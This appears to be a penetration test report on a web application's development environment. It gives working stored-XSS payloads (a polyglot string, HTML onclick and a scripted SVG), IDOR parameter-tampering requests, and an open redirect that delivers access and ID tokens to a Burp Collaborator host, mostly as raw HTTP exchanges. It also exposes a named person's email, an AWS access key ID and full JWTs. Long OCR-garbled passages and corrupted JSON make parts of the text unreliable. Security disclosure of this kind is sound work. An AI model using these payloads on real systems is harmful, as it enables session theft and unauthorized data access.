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Executive Summary

PurpleSec was contracted by the company to conduct an Application Penetration Assessment against their
external facing web application architecture. The intent of an application assessment is to dynamically
identify and assess the impact of potential security vulnerabilities within the application. During this
assessment, both manual and automated testing tools and techniques were employed to discover and
exploit possible vulnerabilities.

All testing activities were conducted against the {URL} development environment to limit the impact of any
service disruptions. Assessment of the {URL} application began on {Begin.Date} and concluded on
{End.Date}.

Testing was conducted from both an unauthenticated and authenticated context. Unauthenticated

testing examines the exterior security posture of an application and looks for vulnerabilities that do not require
authentication to exploit, while authenticated tests focus on discovering and exploiting vulnerabilities on
portions of the internal application that are only accessible after successful authentication. Assessors were
provided both a regular user and an administrative user account to assess the internal security controls of the
application.

PurpleSec assessors were able to identify and exploit instances of the following vulnerabilities:

Vulnerability Severity
Cross-Site Scripting (Stored) High
Authorization Restriction Bypass High
Open-Redirect High
Low Severity 1 Low
Low Severity 2 Low

The Stored Cross-Site Scripting vulnerability had four separate instances. Each of these instances could be
leveraged by an attacker to perform unauthorized actions on behalf of the victim, conduct phishing attacks, or
force the download of malicious software.
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The Authorization Restriction Bypass vulnerability had two separate instances; both would allow an attacker to
obtain sensitive information on application users and their data.

This unauthorized information disclosure could be leveraged to aid other attacks and cause reputational harm.
The last high-severity finding discovered was an Open-Redirect vulnerability. This vulnerability could allow an
attacker to steal session cookies, which in turn would allow an attacker to perform actions within the
application as the victim user.

Finally, two low-severity findings were also identified during testing. While these vulnerabilities pose no
immediate threat to the application or its users, remediating them would further strengthen the application's

overall security posture.

A detailed explanation of the above vulnerabilities can be found in Appendix A — Findings.
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Attack Narrative

Stored Cross-Site Scripting

Severity: High
Cross-Site Scripting (XSS) is a client-side code injection attack. It occurs when data enters from an untrusted

source and is included in dynamic content without being validated for malicious content by the application.

Instance 1

The application allows malicious JavaScript to be saved into the "searchCompany" field while editing contact

information for application users.

The following payload was used to execute a JavaScript alert box:

javasCript:/*-/**[*\"/*[*"[**/(/* *loNcliCk=alert(document.domain)
)/1%0D%0A%0d%0a//</stY le/</titLe/</teXtarEa/</scRipt/--
I>\x3csVg/<sVg/oNloAd=alert(document.domain)//>\x3e

Entering this payload into the “user searchCompany” field stores the XSS permanently on the application:

POST /manage/crm/user?email=test%40the company HTTP/2

Host: {URL}

Cookie:<snip>

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 629

Origin: https:/{URL}

Referer: https://{URL}/manage/crm/user?email=test%40the company
Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document
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Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Te: trailers

Connection: close

user%5Bname%5D=testl1&user%5Bemail%5D=test%40the
company&user[searchCompany]=jaVasCript%3A%2F*-
%2F*%60%2F*%5C%60%2F*%27%2F*%22%2F**%2F%28%2F*+*%2FoNcliCk%3Dalert%28document.do
mMain%29+%29%2F%2F%250D%250A%250d%250a%2F%2F%3C%2FstY1e%2F%3C%2FtitLe%2F%3C%
2FteXtarEa%2F%3C%2FscRipt%2F--
%21%3E%5Cx3csVg%2F%3CsVg%2FoNIoAd%3Dalert%28document.domain%29%2F%2F%3E%5Cx3e&
user%5Bcompany_id%5D=&tz=Africa%2FAbidjan&user%5Bpassword%5D=&user%5Bphone_number%5D
=&user%5Baccessrole_id%5D=&user%5Baccount_status%5D=email_verified&user%5Bservice_name%5D
=&user%5Bpricing_plan%5D=0&user%5Bindividual_sessions%5D=5&user%5Bglobal _panelist%5D=0&sav
e=once

HTTP/2 302 Found

Date: Wed, 28 Jul 2021 02:21:13 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: 0

Location: https:/{URL}manage/crm/user?email=test%40the company

Server: Apache/2.4

Strict-Transport-Security: max-age=31536000; includeSubdomains

X-Frame-Options: SAMEORIGIN

X-Content-Type-Options: nosniff

X-Xss-Protection: 1; mode=block

Content-Security-Policy: default-src https: 'unsafe-eval' 'unsafe-inline'; object-src 'none'; connect-src *;
img-src https: blob: mediastream: data:; font-src https: data:; worker-src blob:
Access-Control-Allow-Origin: https:/{URL}

Access-Control-Allow-Credentials: true

Access-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,OPTIONS
Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-
Requested-With

Vary: Origin

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate
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HTTP/2 200 OK

Date: Wed, 28 Jul 2021 02:27:50 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: 59488

Server: Apache/2.4

Strict-Transport-Security: max-age=31536000; includeSubdomains
X-Frame-Options: SAMEORIGIN

X-Content-Type-Options: nosniff

X-Xss-Protection: 1; mode=Dblock

Content-Security-Policy: default-src https: 'unsafe-eval' 'unsafe-inline'; object-src 'none'; connect-src *;
img-src https: blob: mediastream: data:; font-src https: data:; worker-src blob:
Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Vary: Accept-Encoding

name="user[searchCompany]" class="form-control" value="" /> -->

<input type="text" id="companyName" name="user[searchCompany]" class="form-control"
value="jaVasCript:/*-/* [*\"/*'[*"[**[(/* */oNcliCk=alert(document.domain) )//%0D%0A%0d%0a//////--
1&gt;\x3csVg/\x3e" />

<input type="hidden" id="companyld" name="user[company_id]" value="" />

[...]
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Instance 2

It is possible to upload malicious JavaScript through an Excel file upload. An example Excel template to

upload application candidates can be downloaded.

Inserting the following payload into either the First Name or Last Initial fields columns and uploading the

template will cause store the XSS on the application:

<h1 onclick="alert(1)">test</h1>

2 Agency ID First Name Last Initial Phone #
7/28/21 8:32 <h1 onclick="alert(1<h1 onclick="alert(1)">test</h1>

The saved XSS payload can be observed in a proxy:

GET /ajax/project/32708/unreviewedCandidates HTTP/2

Host: {URL}

Cookie: <snip>

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: */*

Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate

Referer: https://{URL}/project/32708/no-referrer

Content-Type: application/x-www-form-urlencoded;charset=UTF-8
X-Requested-With: XMLHttpRequest

Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

Cache-Control: max-age=0

Te: trailers

Connection: close

HTTP/2 200 OK

Date: Wed, 28 Jul 2021 12:44:21 GMT

Content-Type: application/json; charset=utf-8

Content-Length: 12484

Server: Apache/2.4

Strict-Transport-Security: max-age=31536000; includeSubdomains
X-Frame-Options: SAMEORIGIN

X-Content-Type-Options: nosniff

X-Xss-Protection: 1; mode=Dblock

Content-Security-Policy: default-src https: 'unsafe-eval' 'unsafe-inline'; object-src 'none'; connect-src *;
img-src https: blob: mediastream: data:; font-src https: data:; worker-src blob:
Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Content-Disposition: attachment; filename=json.txt

X-Content-Type-Options: nosniff

Vary: Accept-Encoding

[.]
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{"id":2350,"name";"<h1
onclick=\"alert(1)\">test<Vh1>","email":"","hasEmail":false,"phoneNumber":"","verificationStatus":"unreviewe
d","mos":null,"hasAudio":false,"hasVideo":false,"browserName":null,"browserVersion":null,"isBrowserSuppo
rted":false,"city":"<h1
onclick=\"alert(1)\">test<\Vh1>","region":null,"country":null,"osName":null,"osVersion":null,"participantType":"
main","agencyld":"7\/28\/2021
12:34","agencyUserld":3402,"assignedDiscussion":null,"notificationsOn":false,"autoTechCheckLink":"https:\/
V{URL}/recruiting\/videoResponse?recruitld=4be1087e-4172-4a9e-903f-
761c01deb8ce","videoResponseLink":null,"recruitimageLink":null,"screenerLink":"Vajax\/recruit\/4be1087e-
4172-4a9e-903f-
761c01deb8ceVscreener","assignments":[],"availabilities":[],"isAgencyRecruit":true,"canBeUpdated":true,"ag
encyName":"Assessor PPL1","agencyEmail":"dev+assessor_purplesec.us@the
company","agencyPhoneNumber":"","resubmittedAt":null,"techCheckLinkSent":null,"interviewlnviteSent":null
,"techCheckStatus":"Not
Sent","techCheckNudgeSent":false,"inviteStatus":null,"dispositionHistory":{"conferences":[],"dispositions":{}

[..]

The following screenshot shows the XSS executing in the browser after clicking on the First Name Field:

Figure 2 - XSS Code Execution
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Instance 3

It is possible to upload a malicious SVG file that will execute JavaScript on the application. Navigating to the

Team Settings & Members page and clicking on any Upload Logo tab that allows SVG file extensions permits

a malicious SVG to execute:

eam Settings & Members

Primary
el S #263737
+”' e 'i'ﬂ L-odor Pickar -i-‘]'l_ Color Picker
#303030 #2C23CB \ #6C518BA
+‘|"!_ Caler Picker -H"_ Color Pickar Hl

Upload Logo

Upload Logo

Figure 3 - Malicious SVG File
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The following SVG payload was successfully uploaded:

<svg version="1.1" baseProfile="full" xmIns="http://www.w3.0rg/2000/svg">

<rect width="300" height="100" style="fill:rgh(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">

alert("document.domain”);

</script>

</svg>

Clicking the Upload tab option highlighted in the screenshot below temporarily stores the SVG:

e

Figure 4 - Uploading Malicious SVG File
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Navigating directly to the URL will trigger the XSS to execute:

Figure 5 - Triggering XSS
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Note, the malicious SVG file is also stored on a CloudFront server that is accessed by the application.

Navigating directly to the CloudFront domain will also cause the XSS to execute:

Figure 6 - Image Stored On CloudFront Server
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Instance 4

It is possible to insert malicious JavaScript into the “Embed Project-Level Form” field using the following
payload:

javasCript:/*-/*"[*\"/*[*"[**/(/* *|oNcliCk=alert(1234) )//%0D%0A%0d%0a//////--!&gt;\x3csVg/\x3e

The following screenshot shows the malicious JavaScript being saved into this field in the GUI:

SFDC Opportunity v

[[] personal Meeting Room

Respondent Hub

Project Manager Support
Live Support

Auto Tech Check

[CJ Mobite Screen Sharing
(] potiing

(] consent Forms

(] sentiment Analysis

D Automatically pay respondent
Incentives after the interview

S§ Respondent Incentive

GD Project Overview Link

‘ Embed Project-Level Form

NcliCk=alert(1234) )/%0D%

Figure 7 - Malicious JavaScript Stored In GUI
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After saving the payload in the field highlighted above then navigating back to the application dashboard
page, the XSS will execute when a user clicks the Set Up Session tab:

q e I-"l-_ll:h,l"l

My Projects

Project T Date Created

Mew Propect POQV-0T-12 T2 3617

i P (B R e

Figure 8 - XSS Execution Via "Set Up Session" Tab
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Authorization Restriction Bypass

Severity: High
Access controls enforce policies such that users cannot act outside of their intended permissions. Failures
typically lead to unauthorized information disclosure, modification or destruction of all data, or performing a

business function outside of the user's limits.

Instance 1

It is possible to bypass application GUI authorization restrictions and arbitrarily create teams that belong to
other application users. The assessor@purplesec.us user makes the following HTTP request. The HTTP
request modifies the "ownerld" parameter from 3401 to 3402. This modification will arbitrarily assign the team
to the dev+assessor_purplesec.us@the company user without their consent. Moreover, the request also adds

the assessor@purplesec.us user as one of this new team's members:

POST /ajax/team/create HTTP/2

Host: {URL}

Cookie: <snip>

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/55.0.2883.87 Safari/537.36 root@kd126yz624yclvid46y7azdgmhs8m2pge.burpcollaborator.net
Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

name=NOTREAL&isPublic=true&members%5B0%5D=assessor%40purplesec.us&ownerld=3402
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HTTP/2 200 OK

Date: Wed, 28 Jul 2021 22:33:09 GMT

Content-Type: application/json; charset=utf-8

Content-Length: 35

Server: Apache/2.4

Strict-Transport-Security: max-age=31536000; includeSubdomains
X-Frame-Options: SAMEORIGIN

X-Content-Type-Options: nosniff

X-Xss-Protection: 1; mode=Dblock

Content-Security-Policy: default-src https: 'unsafe-eval' 'unsafe-inline'; object-src 'none'; connect-src *;
img-src https: blob: mediastream: data:; font-src https: data:; worker-src blob:
Access-Control-Allow-Origin: https:/{URL}
Access-Control-Allow-Credentials: true

Access-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,OPTIONS
Access-Control-Allow-Headers: Content-Type, Access-Control-Allow-Headers, Authorization, X-
Requested-With

Vary: Origin,Accept-Encoding

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Content-Disposition: attachment; filename=json.txt

X-Content-Type-Options: nosniff

{"status":"success","teamld":"123"}

The following screenshot shows the NOTREAL team appearing in dev+assessor_purplesec.us@the company
dashboard.
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Figure 9 - GUI Authorization Bypass

An attacker can leverage this vulnerability to discover information about application users. Because the
attacker has invited themselves to the team, information on the team's owners will be returned to the attacker,

including their private email addresses.

After creating the team NOTREALS8 and assigning it to the user with the ownerld 3405, the following

information is returned to the attacker:

GET /ajax/team/my HTTP/2

Host: {URL}

Cookie:<snip>

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://[{URL}/dashboard/no-referrer

Content-Type: application/x-www-form-urlencoded;charset=UTF-8
X-Requested-With: XMLHttpRequest

Dnt: 1

Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

Cache-Control: max-age=0

Te: trailers

Connection: close
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HTTP/2 200 OK

Date: Wed, 28 Jul 2021 22:50:04 GMT

Content-Type: application/json; charset=utf-8

Content-Length: 18640

Server: Apache/2.4

Strict-Transport-Security: max-age=31536000; includeSubdomains
X-Frame-Options: SAMEORIGIN

X-Content-Type-Options: nosniff

X-Xss-Protection: 1; mode=block

Content-Security-Policy: default-src https: 'unsafe-eval' 'unsafe-inline'; object-src 'none'; connect-src *; img-
src https: blob: mediastream: data:; font-src https: data:; worker-src blob:
Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Content-Disposition: attachment; filename=json.txt
X-Content-Type-Options: nosniff

Vary: Accept-Encoding

{"id":"128","ownerld":"3405","name":"NOTREAL8","longitudinalLink™:"","theme":null,"createdAt":"2021-07-28
22:49:59""isPublic":true,"orgName":"ABinBev","orgld":"23","members":[{"id":"3401","email":"assessor@pur
plesec.us","name":;"Testtestttt","avatarUrl":"https:VV/qa-stimulus.s3.us-west-
2.amazonaws.comVimg\V/avatars\/ab866751b1a395d24337ef7b83b05e7c-25x25.png?X-Amz-Content-
Sha256=UNSIGNED-PAYLOAD&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-
Credential=AKIAWVJILWKOF7IEQEZN6%2F20210728%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-
Date=20210728T225004Z&X-Amz-SignedHeaders=host&X-Amz-Expires=3600&X-Amz-
Signature=8805871b7546140360532cbccf74dfc413410273080a8871c30ec7562d7c8cce","isOrgAdmin™:fal
se},{"id":"3405","email":"rafael.silva@ab-inbev.com","name":"Rafael","avatarUrl":"https:\/\\/qa-stimulus.s3.us-
west-2.amazonaws.com\/imgVavatars\/default-25x25.png?X-Amz-Content-Sha256=UNSIGNED-
PAYLOAD&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-
Credential=AKIAWVJILWKOF7IEQEZN6%2F20210728%2Fus-west-2%2Fs3%2Faws4_request&X-Amz-
Date=20210728T225004Z&X-Amz-SignedHeaders=host&X-Amz-Expires=3600&X-Amz-
Signature=dlea9a7ab2290838e113a362e4038ec0c09798f7b01d5631df44a3f0600a09f1","isOrgAdmin":fals

e}],"projects":[]}
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disclose information on all application users.

Instance 2

It is possible to retrieve other users' project takeaway information. Changing the "projectld" parameter in the
following HTTP request will reveal project information associated with that "projectld.” This is despite the user
having no access to that project.

The assessor@purplesec.us user has no authorization to view project information associated with the
projectld 32489. However, the following HTTP request shows that the project's takeaway information
successfully returned to the attacker:

GET /ajax/takeaways/takeaways?projectld=32489 HTTP/2
Host: {URL}

Cookie: <snip>

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://{URL}/dashboard/no-referrer
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
X-Requested-With: XMLHttpRequest

Dnt: 1

Sec-Fetch-Dest: empty

Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

Cache-Control: max-age=0

Te: trailers

Connection: close
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HTTP/2 200 OK

Date: Wed, 28 Jul 2021 23:20:49 GMT

Content-Type: application/json; charset=utf-8

Content-Length: 641

Server: Apache/2.4

Strict-Transport-Security: max-age=31536000; includeSubdomains
X-Frame-Options: SAMEORIGIN

X-Content-Type-Options: nosniff

X-Xss-Protection: 1; mode=block

Content-Security-Policy: default-src https: ‘unsafe-eval' 'unsafe-inline'; object-src 'none'; connect-src *; img-
src https: blob: mediastream: data:; font-src https: data:; worker-src blob:
Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate
Content-Disposition: attachment; filename=json.txt
X-Content-Type-Options: nosniff

Vary: Accept-Encoding

{"questions":{"updatedAt":"2020-07-15
23:04:27""sections":[{"sectionld":"364","position":"1","sectionText":"","questions":[{"questionld":"1102","posit
ion":"1","questionText":"What was the biggest takeaway you had from today's
conversation?"},{"questionld":"1103","position":"2","questionText":"What did you
learn?"},{"questionld":"1104","position":"3","questionText":"What action would you take based on what you
heard
today?"}]},{"sectionld":"365","position":"2","sectionText":"ok","questions":[{"questionld":"1105","position":"1","
guestionText":"ok"}}]},"lastSavedText":"Last saved by name@gmail.com on 11:04 pm, July 15, 2020"}
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An attacker can easily automate this attack to retrieve all application project takeaway information stored on

the application:

- - .
Results

fter: Showing &l tems.
Aequest Payload
4 141

® 278

2 m

i 137

i 147

) 129

4 523

& 558

Q 489

R 40

2 349

2 70!

L} 525

% 198

Request Response
T rew Hex e W =

“questioaText ™ “Now
'
(
“questionld®1"559",
*position*y 2",
“QuestionText 1 “low
B
(
"questiomId®i"is0",
“poaitionts”3",
"questionText " “NHow
)
1
'
{
“secticald 104",
“position*s 2",

“questions sl
(
“Questioald*:"sel",
“positica*r”1",

IEEBEREEEEREEE

did you feel about

did you feel about

did yvu fenl abour

*sectioaText "t "Sectios 3%,

"QuestioaTest* 1 "Il you eowld enly take

the paneliste?”

the poderator?’

e platforn”

whe Albem witE you to & dessrtad isiassdg,

1OV SR W e

Containg & JWT
Contains 3 JWT
Containg a JWT
Contains a JWT
Containg a JWT
Contains a JWT
Contains a JWT
Contains 8 JWT
Comtains 8 JNT
Contang 8 JWT
Contains a JWT
Containg a JWT
Contains a JWT
Coanmtaine a WT

VRLEA one waLld At ber

Figure 10 - Project Takeaway Information



https://purplesec.us/

\ 1
\ e LF

\

/ vy
PURPLESEC

y A

) 4

Open Redirect

Severity: High
Open redirection vulnerabilities arise when an application incorporates user-controllable data into a redirection
target in an unsafe way. An attacker can construct a URL within the application that causes a redirection to an

arbitrary external domain.

Session Hijacking

Using an open-redirect vulnerability, it is possible to steal the application user's sensitive cookie. Specifically,
the access_token and id_token cookies. These two cookies will allow an attacker to interact with the
application's GraphQL scheme as the victim. The following HTTP request was observed while interacting with

the application:

GET

fauth/authorize?display Type=general&redirect_uri=https%3A%2F%2F{URL}%2Fquote%?2FloginCallback%
3Fstep%3D%26autosave%3Dn0%26exit%3Dno0%26project%3D%26delegate%3Ddashboard HTTP/2
Host: {URL}

Cookie: ajs_anonymous_id=c18977c2-e232-45f0-8b50-413c89650e2b; intercom-id-mgfmc61p=f6ae4012-
b890-42a6-a7e9-f2b3c0c40334; intercom-session-mgfmc61p=; ajs_user_id=3410;
dio=588a409f6514b4ba55471483afe819d1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://{URL}/dashboard

Dnt: 1

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: same-origin

Te: trailers

Connection: close
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HTTP/2 302 Found

Date: Wed, 28 Jul 2021 23:29:42 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: O
Location:https://{URL}/quote/loginCallback?step=&autosave=no&exit=no&project=&delegate=dashboard&a
ccess_token=eyJ0eXAiOiJKV1QIiLCIhbGciOiJSUzI1NilsimtpZCI6IjFIOWY3NWVINWU2ZDZIiNzZEIMTQxM
TUIMWEzMDQ2MTNhIn0.eyJpc3MiOiJodHRwOIwvXC93d3cuZGlzY3Vzcy5pbylsimF1ZClI6ImRpc2N1c3M
uaWs8iLCJub25jzSI16bnVsbCwiZXhwljoxNjIBNTE2NzgyLCJIpY XQIiOjE2MjcIMTQ50DJ9.g_-B3k44G-
_SIz8zKb5KwZtt_410CGIJ51iy4-
QbLrptfBKSKXj9RjUopOac_4VhHMGP4Wel4FSLN8NGgk2SPgEMHR_UdwUyIWXDzrOONBBR9-
WcHue9z1Dt8mAcmllruwJVnON-
PuzZRJPeOfxkirlJK3Fbu4XX2AfOG3u6XXEU&id_token=eyJ0eXAiOiJKV1QiLCJIhbGciOiJSUzI1NilsimtpZCl
61jJFIOWY3NWVINWU2ZDZINZEIMTQXMTU1IMWEzMDQ2MTNhIN0.eyJpc3MiOiJodHRwOIwvXC93d3cuzZ
GlzY3Vzcy5pbylsInN1Yil6ljMOMDEILCJhdWQIiOiJkaXNjdXNzLmlvliwibm9OuY2UiOm51bGwsIimV4cCI6MTY
yNzUxNjc4MiwiaWFOIjoxNjIBNTEOOTgyLCJIIbWFpbCl6lm1hcmNAcHVycGxlc2VjLnVzliwiZW1haWxfdmVy
aWZpZWQiOnRydWUsIm5hbWUIOIJUZXNOdGVzdHROdACBOcmVzdClsimdpdmVuX25hbWUiOiJUZXNOd
GVzdHROdCIsImzhbWIseV9uYW!1lljoidHJIc3QiLCJ6b25lawW5mbyl6IkFmemljY VwvQWNjcmEiLCJkaW86c¢
mM9sZXMiOltdfQ.1huEcioFrbx5yQGOKnaBStgNhq7u72zD5ZWgRWkuj2Qg40ZYKVut51M0pk2sOe0YHyYFS
NMdjéw_bJy5NnphEHB7RfKIUHhy3FhsEni6HsBZ8Rx1a63JVKZbGwoc7YtVNEhHd1rRZQvOfh3MFgv3YiAo
xnEwwkewH6t7nCKAL2I8&code=eyJ0eXAiOiJKV1QiLCIhbGciOiJSUzI1NilsImtpZCI61jFIOWY3NWVINWU
2ZDZINZEIMTQXMTU1IMWEzMDQ2MTNhINnO0.eyJleHAIOJE2MjcIMTY3ODIsIm5vbmNIljoiMmVmYjc5MGMt
NWEyNSOONDI1LWFKkMDgtMGIwMjYxNmMJkODcxIn0.Wwq8nWDgwk1023GmIZN4bZGyEF-
YPwbLpwzNkj4STDD8SovZ1FWuoWntjOBs8vKwzZ4sU8wWv1luXn-
C2brQMzehJRgI3nGbSZQtOHFiIWIOYNe3LShwODWLW2GI14f96 T9jPCHqKgkP7BvT7ReFmAIWS5twghfCKx
UJzGwpbSu9YME

[..]
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Set-Cookie:
access_token=eyJ0eXAiOiJKV1QiLCJIhbGciOiJSUzI1NilsImtpZCI6IjFIOWY3NWVINWU2ZDZiNZEIMTQxM
TULMWEzMDQ2MTNhINO.eyJpc3MiOiJodHRwWOIwvXC93d3cuZGlzY3Vzcy5pbylsimF1ZCI6ImRpc2N1c3M
uaWs8iLCJub25jZS16bnVsbCwizXhwljoxNjIBNTE2NzgyLCJIpYXQIiOjE2MjcIMTQ50DJ9.g_-B3k44G-
_SIz8zKb5KwZtt_410CGIJ51iy4-

QbLrpt BKSKXj9RjUopOac_4VhHmMGP4WeldFSLN8NGgk2SPgEMHR _UdwUyIWXDzrOONBBR9-
WcHue9z1Dt8mAcmIlruwJVnON-PuZRJIPeOfxkirlJIK3Fbu4dXX2AfOG3u6XXEU; expires=Wed, 28-Jul-2021
23:59:42 GMT; Max-Age=1800; path=/; SameSite=Lax

Set-Cookie:
id_token=eyJ0eXAiOiJKV1QiLCJIhbGciOiJSUzI1NilsImtpZCI6IjFIOWY3NWVINWU2ZDZINZEIMTQxXMTU1
MWEzMDQ2MTNhIn0.eyJpc3MiOiJodHRwOIwvXC93d3cuZGlzY3Vzcy5pbylsInN1Yil6lj]MOMDEILCJIhdWQI
OiJkaXNjdXNzLmlvliwibm9uY2UiOm51bGwsimV4cCI6MTYyNzUxNjc4MiwiaWFO0IjoxNjI3BNTEOOTgyLCJlb
WFpbCl6im1hcmNAcHVycGxlc2ViLnVzliwiZW1haWxfdmVyaWZpZWQiOnRydWUsIm5hbWUIOiIJUZXNOd
GVzdHROdCBOcmVzdClsimdpdmVuX25hbWUiOiJUZXNOdGVzdHROdCIsImZhbWIseV9uYW1lljoidHJIc3Qi
LCJ6b25law5smbyl6lIkFmcemliY VwvQWNjcmEiLCIkaW86cm9sZXMiOltdfQ.1huEcioFrox5yQGOKnaBStgNh
g7u72zD5ZWgRWkuj2Qg40ZYKVut51M0pk2sOe0YHYFSNMdjéw_bJy5NnphEHB7RfKIUHhy3FhsEni6HsB
Z8Rxla63JVKZbGwoc7YtVNEhHd1rRZQvOfh3MFgv3YiAoxnEwwkewH6t7nCKALZ2I8; expires=Wed, 28-Jul-
2021 23:59:42 GMT; Max-Age=1800; path=/; SameSite=Lax

The application sets both the access_token and id_token cookies then redirects the user to

URL including both cookies as parameters. Note, the application uses the dio session cookie to validate the
user. Replacing ga.life.io with a domain controlled by the attacker in the redirect_uri parameter will allow an
attacker to steal these sensitive cookies. The following URL places a domain in the redirect_uri parameter

controlled by the attacker:

https://{URL}/auth/authorize?displayType=general&redirect_uri=https%3A%2F%2F6w3igglrplugx6862lo0w
xxr7id91y.burpcollaborator.net
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After accessing the malicious link as the user, dev+assessor_purplesec.us@the company is redirect to the

attacker server:

GET
fauth/authorize?displayType=general&redirect_uri=https%3A%2F%2F6w3igqlrplugx6862lo0wxxr7id91y.bu
rpcollaborator.net HTTP/2

Host: {URL}

Cookie: ajs_anonymous_id=c18977c2-e232-45f0-8b50-413c89650e2b; intercom-id-mgfmc61p=f6ae4012-
b890-42a6-a7e9-f2b3c0c40334; intercom-session-mgfmc61p=; ajs_user_id=3412;
6c9156982306a2f4166f81c4d98f2d3a;

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: https://{URL}/dashboard

Dnt: 1

Upgrade-Insecure-Requests: 1

Sec-Fetch-Dest: document

Sec-Fetch-Mode: navigate

Sec-Fetch-Site: same-origin

Te: trailers

Connection: close
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HTTP/2 302 Found

Date: Thu, 29 Jul 2021 00:23:23 GMT

Content-Type: text/html; charset=UTF-8

Content-Length: O

Location:
https://6w3igqlrplugx6862lo0wxxr7id91y.burpcollaborator.net?access_token=eyJ0eXAiOiJKV1QiLCJIhbGci
0iJSUzI1NilsimtpZCI6lJFIOWY3NWVINWU2ZDZINZEIMTQXMTU1IMWEzMDQ2MTNhIn0.eyJpc3MiOiJodH
RwOIwvXC93d3cuzGlzY3Vzcy5pbylsimF1ZCI6ImRpc2N1c3MuaWs8iLCJub25jZS16bnVsbCwiZXhwljoxN;jl3
NTIOMTK2LCJIpYXQIiOjE2Mjc1MjlzOTZ9.A19CewVJISjf4cmSQO23nqChBjh7j7v4QN4DOn7wFaVTwmyJZM
Bsb9S4cDSngpF5Msex_JbvGR2eOX0hGC8acMVZZDsvxLYHy7a-

npbhQISIMVWYWI6Z3j36DY XrvVIs4rvNpO45P0o7HgiCeDmp6RBT _0CZS8hQCsAYeOXLba2jY&id token=e
yJ0eXAiOiJKV1QILCJIhbGciOiJSUzI1NilsimtpZCI6IjFIOWY3NWVINWU2ZDZINZEIMTQXMTU1MWEzMDQ
2MTNhIn0.eyJpc3MiOiJodHRwOIwvXC93d3cuZGlzY3Vzcy5pbylsInN1Yil6ljMOMDIILCIhdWQIiOiJkaXNjd X
NzLmlivliwibm9uY2UiOm51bGwsimV4cCI6MTYyNzUyNDESNiwiaWFOIjoxNjI3NTIyMzk2LCJIbWFpbCI6Im
RIdittYXJjX3B1cnBsZXNIYy51cOBkaXNjdXNzLmlvliwizZW1haWxfdmVyaWzZpZWQiOnRydWUsIm5hbWUIiOi
JNYXJjIFN3aXR6ZXIgVXMILCJInaXZIbl9uYW1lljoiTWFyYyBTd2I0emVyliwiZmFtaWx5X25hbWUiOiJVcylsl
npvbmVpbm2vljoiVVRDIiwiZGIvOnJvbGVzljpbimFkbWIull19.Uhhilbc518Y2X8uxXKsEgkhUe3wO0_I8iJLalL0
MIXAR]LXgMLN6EX6sYjwlwOzZd4EWGcWrNhNJbadoLdP_LggbXSbYY_cGGFIfaYgcZB7qObPQTx-
QvYyp-SoAx5MNoBzgjbyL-7wxc3iw774F-
tPakKOKvNnNxWqO0j1GQkQ76w&code=eyJ0eXAiOiJKV1QILCIhbGciOiJSUzI1NilsiImtpZCI6IjFIOWY3NW
VINWU2ZDZINZEIMTQXMTU1IMWEzMDQ2MTNhInO0.eyJleHAIOJE2Mjc1IMjQxOTYsIm5vbmNIljoiMThmOD
YyODgtMzI10S00ZTUwWLThhM2MtMmM2NzY 1MzJiZmMOIn0.gXcWRouK4-
AgGGAFfNPiGwxeq2sh3Zpba7a0pKdCR-
pbl7zUVV9_VzE3fy3acfllKiSpCjlHPaowOg7POBWhEf2tVkPxOaplkv18ZspOBiw89An-OX QSv8gv3nmVd-
